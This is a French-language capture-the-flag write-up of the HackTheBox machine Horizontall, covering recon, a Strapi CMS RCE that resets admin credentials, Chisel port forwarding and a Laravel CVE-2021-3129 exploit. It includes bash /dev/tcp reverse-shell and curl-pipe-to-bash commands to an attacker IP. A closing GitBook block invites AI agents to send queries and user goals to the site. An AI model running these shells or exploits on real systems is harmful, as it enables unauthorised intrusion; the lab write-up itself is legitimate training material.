> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-easy/horizontall-hackthebox-writeup.md).

# Compte rendu HackTheBox de Horizontall

{% embed url="<https://app.hackthebox.com/machines/Horizontall>" %}

{% hint style="warning" %}
**Compétences :**

* Fuite d'informations
* Redirection de port
* Exploitation de Strapi CMS
* Exploitation de Laravel
  {% endhint %}

## Reconnaissance

**Configuration de l'espace de travail :**

Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

<figure><img src="/files/249517908d1dddddfc5ce8efcb5d264a4414d85b" alt="" width="563"><figcaption></figcaption></figure>

**Vérification de la connectivité VPN**

Vérifiez la connectivité VPN pour assurer une communication stable avec la machine cible.

<figure><img src="/files/56b3f706f1df3636aac1bf309f690e11af508c57" alt="" width="563"><figcaption></figcaption></figure>

**Découverte des ports ouverts avec Nmap :**

Énumérez les ports ouverts et exportez les résultats dans le fichier "allPorts" du répertoire Nmap :

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.105 -oG allPorts
```

<figure><img src="/files/f50de1a256ade867c6a26489119d120ee48d19b4" alt=""><figcaption></figcaption></figure>

**Scan des versions des ports avec Nmap 22.80 :**

Utilisez Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" :

```bash
nmap -sCV -p22,80 10.10.11.105 -oN targeted
```

<figure><img src="/files/11425e9f990657fead73a7f8f0e8d7fa8f52683f" alt=""><figcaption></figcaption></figure>

Pour résoudre les noms de domaine en adresses IP via DNS, insérez le nom de domaine associé à son adresse IP dans le `/etc/hosts` .

<figure><img src="/files/44ed28dbbdaf1a9cefd6a5e83072b8aca9704ffd" alt=""><figcaption></figcaption></figure>

## Scan du port 80

<figure><img src="/files/89cd0cd1df29f6f6ee9385aeb0fb3f3f2418811e" alt=""><figcaption></figcaption></figure>

### Fuzzing de sous-domaines (gobuster)

Nous lançons ensuite une recherche de sous-domaine avec **Gobuster**:

```bash
gobuster vhost -u http://horizontall.htb/ --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100
```

Nous trouvons un sous-domaine intéressant : **api-prod.horizontall.htb**.

<figure><img src="/files/a17a8a11d3719316fa2c398e630a81e04e8c0335" alt=""><figcaption></figcaption></figure>

Nous l'ajoutons à **/etc/hosts**

<figure><img src="/files/bd0b36cb1824f4b80c1c4ee6149a2814258fe551" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/e14bacb5a8e3f69135a52fb6fa8ff7fef7283c1c" alt=""><figcaption></figcaption></figure>

### Fuzzing du répertoire de l'API

Nous effectuons une analyse des répertoires accessibles sur le sous-domaine de l'API :

```
gobuster dir -u http://api-prod.horizontall.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

Nous trouvons :

* admin
* users
* reviews

<figure><img src="/files/646bd87e3767d3af4b1b731821b85ccd22b8a11e" alt=""><figcaption></figcaption></figure>

```bash
gobuster dir -u http://api-prod.horizontall.htb/Users/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

### Exploitation de Strapi CMS (RCE)

Nous recherchons une vulnérabilité pour Strapi avec **searchsploit**:

```
searchsploit -m multiple/webapps/50239.py
```

<figure><img src="/files/07ef3275b8e59679f03b3ae8e69a94cc85ad7a85" alt=""><figcaption></figcaption></figure>

Nous utilisons l'exploit :

```bash
python3 50239.py http://api-prod.horizontall.htb
```

<figure><img src="/files/86a400af0d8797fca7ca25f734750244d7664170" alt=""><figcaption></figcaption></figure>

Cela nous fournit les identifiants administrateur

{% code overflow="wrap" %}

```javascript
[+] Votre e-mail est : admin@horizontall.htb
[+] Vos nouveaux identifiants sont : admin:SuperStrongPassword1 
[+] Votre JSON Web Token authentifié : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNzQwNjk2NzU1LCJleHAiOjE3NDMyODg3NTV9.WMksWcYjinav1IGH6KHOU0tleELdaY2Wmy2-WufxGm0
```

{% endcode %}

<figure><img src="/files/7932bb2ea806e48ddc0c8133fbe7ceccf683a81b" alt=""><figcaption></figcaption></figure>

Nous récupérons un hachage de mot de passe de l'utilisateur qui vient d'être créé :

* admin
* $2a$10$y5rS5PnHngnev02rnXIpF.a26DYsqCeSvPrLkKU1Go1Wp4.LTUhj6

<figure><img src="/files/961c523d155fa1d92762bb58827a3fba6fb5d6a1" alt=""><figcaption></figcaption></figure>

### Obtention d'un shell inversé

Nous créons un **index.html** contenant un payload de shell inversé :

```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.75/443 0>&1
```

Nous lançons un serveur web :

```bash
python3 -m http.server 80
```

Nous ouvrons une connexion en écoute :

```bash
nc -nlvp 443
```

Puis nous exécutons le payload sur la cible :

```bash
curl http://10.10.14.75:80 | bash
```

<figure><img src="/files/ecbea5bc82047fc88aa0c403493d9efe625a0c59" alt=""><figcaption></figcaption></figure>

#### Nous stabilisons notre shell :

```bash
script /dev/null -c bash
# Ctrl+Z


reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### Drapeau user.txt :)

<figure><img src="/files/15e6f27c740d19e14a7ac88ef111ae30d45486c7" alt="" width="563"><figcaption></figcaption></figure>

## Élévation de privilèges

Nous avons ensuite सूचीé les ports ouverts sur la machine cible pour vérifier la présence du port 8000 :

```bash
netstat -tuln
```

<figure><img src="/files/d71246fb31e9b2fda69f9c2b80a885e77714a79e" alt=""><figcaption></figcaption></figure>

Ensuite, nous avons utilisé `curl` pour tester l'accès au service sur le port 8000 :

```bash
curl 127.0.0.1:8000
```

Nous avons ensuite observé la présence du CMS Laravel.

<figure><img src="/files/55846f01444c26a161b7dfba4aeecc0b7a74d2fa" alt=""><figcaption></figcaption></figure>

### Redirection de port Chisel pour le port 8000

Nous avons d’abord compilé Chisel sur notre machine locale :

{% embed url="<https://github.com/jpillora/chisel>" %}

Nous avons ensuite transféré l'exécutable Chisel sur la machine victime via un serveur HTTP Python3

```bash
go build -ldflags "-s -w" .
upx chisel
```

<figure><img src="/files/80a79e3197aa6cee198a6cf2044ee2f3e6ba4218" alt=""><figcaption></figcaption></figure>

Nous avons ensuite transféré l'exécutable Chisel sur la machine victime via un serveur HTTP Python3

```bash
python3 -m http.server 8080
wget http://10.10.14.75:8080/chisel
```

<figure><img src="/files/172549974f80e370d52279d3cabc3bb75c89d20e" alt=""><figcaption></figcaption></figure>

Sur notre machine, nous avons lancé le serveur Chisel :

```bash
./chisel server -p 9000 -reverse
```

Ensuite, sur la machine victime, nous avons configuré le client Chisel pour rediriger le port 8000 vers notre machine locale :

```bash
./chisel client 10.10.14.75:9000 R:8000:127.0.0.1:8000
```

<figure><img src="/files/64bc623e82b3a9a731e63ef58c2920576cb22741" alt=""><figcaption></figcaption></figure>

## Exploitation du CMS Laravel (CVE-2021-3129)

{% embed url="<https://github.com/0x0d3ad/CVE-2021-3129>" %}

<figure><img src="/files/3781996d38b43b3af2c7358108584283a3e2acfc" alt=""><figcaption></figcaption></figure>

#### Exécution de commandes arbitraires

Nous exploitons la vulnérabilité CVE-2021-3129 pour exécuter des commandes arbitraires sur le serveur. D'abord, nous testons l'exécution en lançant la commande `id` commande :

```bash
python3 CVE-2021-3129.py http://0.0.0.0:8000/ --cmd 'id'
```

La sortie confirme que nous avons les privilèges root.

<figure><img src="/files/95c05fa5cabe45e089db8e230f72b29798ddd218" alt=""><figcaption></figcaption></figure>

### Drapeau root.txt :)

Une fois l'accès confirmé, nous récupérons le flag en lisant le `/root/root.txt` fichier :

```bash
python3 CVE-2021-3129.py http://0.0.0.0:8000/ --cmd 'cat /root/root.txt'
```

### Obtention d'un accès interactif (shell inversé)

Pour obtenir un shell interactif, nous configurons un écouteur sur le port 443 :

```bash
nc -nvlp 443
```

Ensuite, nous obtenons un shell inversé sur la cible à l'aide de l'exploit :

{% code overflow="wrap" %}

```bash
python3 CVE-2021-3129.py http://0.0.0.0:8000/ --cmd 'bash -c "bash -i >&/dev/tcp/10.10.14.75/443 0>&1"'
```

{% endcode %}

Nous obtenons ensuite un accès root sur la machine cible.

<figure><img src="/files/37999f7e109cfb8b34b316679087aee2462fbf56" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/c4a315dd698261d82f04e73f86a955d9eb680a13" alt="" width="541"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-easy/horizontall-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
